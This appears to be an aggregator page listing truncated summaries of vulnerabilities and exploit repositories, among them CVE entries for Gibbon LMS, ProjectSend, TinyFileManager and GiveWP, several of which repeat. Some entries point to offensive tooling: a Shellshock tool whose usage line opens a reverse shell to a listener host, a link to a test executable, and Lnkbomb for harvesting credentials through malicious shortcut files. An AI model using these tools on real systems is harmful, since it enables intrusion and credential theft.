gibbonlms-filewrite_rce

Gibbon LMS Arbitrary File Write / RCE Vulnerability Information Arbitrary File Write in Gibbon LMS for RCE CVE-2023-45878 GibbonEdu Gibbon LMS version 25.0.1 and earlier allows Arbitrary File Write because rubricsvisualisesaveAjax.php does not require authentication. The endpoint accepts the img,...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock Remote Command Injection tool for quick reverse shell and file browsing Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py...

vulnerability-url

vulnerability-url WARNING! Only for tests and education! https://github.com/nu11secur1ty/vulnerability-url/raw/main/Calculator512.exe...

CVE-2026-116136

ProjectSend 2.0.0 through 2.7.1 contains an incomplete authorization vulnerability in FileVersions::link that allows staff users to share files without authorization by linking file versions. Attackers can link their file onto an intermediate revision or assign out-of-scope clients, causing...

CVE-2026-116136

ProjectSend versions 2.0.0 through 2.7.1 are vulnerable to an incorrect authorization flaw within the FileVersions::link() function. This vulnerability allows staff users to share files without proper authorization by linking file versions. Specifically, an attacker can link their file onto an in...

EUVD-2026-109388

ProjectSend 2.0.0 through 2.7.1 contains an incomplete authorization vulnerability in FileVersions::link that allows staff users to share files without authorization by linking file versions. Attackers can link their file onto an intermediate revision or assign out-of-scope clients, causing...

CVE-2026-116136 ProjectSend 2.0.0 through 2.7.1 Incorrect Authorization via File Version Linking

ProjectSend 2.0.0 through 2.7.1 contains an incomplete authorization vulnerability in FileVersions::link that allows staff users to share files without authorization by linking file versions. Attackers can link their file onto an intermediate revision or assign out-of-scope clients, causing...

CVE-2026-116136 ProjectSend 2.0.0 through 2.7.1 Incorrect Authorization via File Version Linking

ProjectSend 2.0.0 through 2.7.1 contains an incomplete authorization vulnerability in FileVersions::link that allows staff users to share files without authorization by linking file versions. Attackers can link their file onto an intermediate revision or assign out-of-scope clients, causing...

CVE-2026-116073 Leon before commit 50df142 Path Traversal via /download model Command

Leon before commit 50df142 contains a path traversal vulnerability in getModelFileNameFromURL that allows attackers to write files outside the models directory via percent-encoded separators. Attackers can trick a user into running '/download model' with a crafted URL containing encoded '../'...

lnkbomb

Lnkbomb Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester's machine running Responder or smbserver to gather...

Exploit for Unrestricted Upload of File with Dangerous Type in Filemanagerpro File_Manager

CEV-2020-25213wp-file-mang...

CVE-2025-30208-PoC

Disclaimer: The vulnerabilities and reproduction steps described in this article are intended solely for cybersecurity research and educational purposes. No one shall use the information provided in this article for illegal purposes or unauthorized system testing. The author assumes no...

gdbfuzz

GDBFuzz: Debugger-Driven Fuzzing This is the companion code for the paper: 'Fuzzing Embedded Systems using Debugger Interfaces'. A preprint of the paper can be found here https://publications.cispa.saarland/3950/. The code allows the users to reproduce and extend the results reported in the paper...

CVE-2025-4336

eMagicOne Store Manager for WooCommerce 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo...

CVE-2026-116044

A security vulnerability has been detected in prasathmani TinyFileManager up to 2.6. Affected by this issue is some unknown functionality of the file tinyfilemanager.php of the component Remote URL File Upload Module. The manipulation leads to unrestricted upload. It is possible to initiate the...

CVE-2026-111978 GiveWP < 4.19.0.1 - Give Manager+ Path Traversal via Core Settings Import

The GiveWP WordPress plugin before 4.19.0.1 does not properly validate a user-supplied filename before reading it from disk, allowing users with a high-privilege custom role to perform path traversal, disclose the contents of JSON-parseable files anywhere on the server, and overwrite the GiveWP...

CVE-2026-111978

The GiveWP WordPress plugin versions prior to 4.19.0.1 is vulnerable to a path traversal flaw due to insufficient validation of user-supplied filenames during disk reads. An attacker with a high-privilege custom role can exploit this to disclose the contents of JSON-parseable files from any locat...

CVE-2026-111978 GiveWP < 4.19.0.1 - Give Manager+ Path Traversal via Core Settings Import

The GiveWP WordPress plugin before 4.19.0.1 does not properly validate a user-supplied filename before reading it from disk, allowing users with a high-privilege custom role to perform path traversal, disclose the contents of JSON-parseable files anywhere on the server, and overwrite the GiveWP...

CVE-2026-116044 prasathmani TinyFileManager Remote URL File Upload tinyfilemanager.php unrestricted upload

A security vulnerability has been detected in prasathmani TinyFileManager up to 2.6. Affected by this issue is some unknown functionality of the file tinyfilemanager.php of the component Remote URL File Upload Module. The manipulation leads to unrestricted upload. It is possible to initiate the...

CVE-2026-116044

A security vulnerability exists in prasathmani TinyFileManager versions up to 2.6 . The issue is located within an unknown functionality of the tinyfilemanager.php file, specifically affecting the Remote URL File Upload Module . This vulnerability allows for unrestricted upload of files, which ca...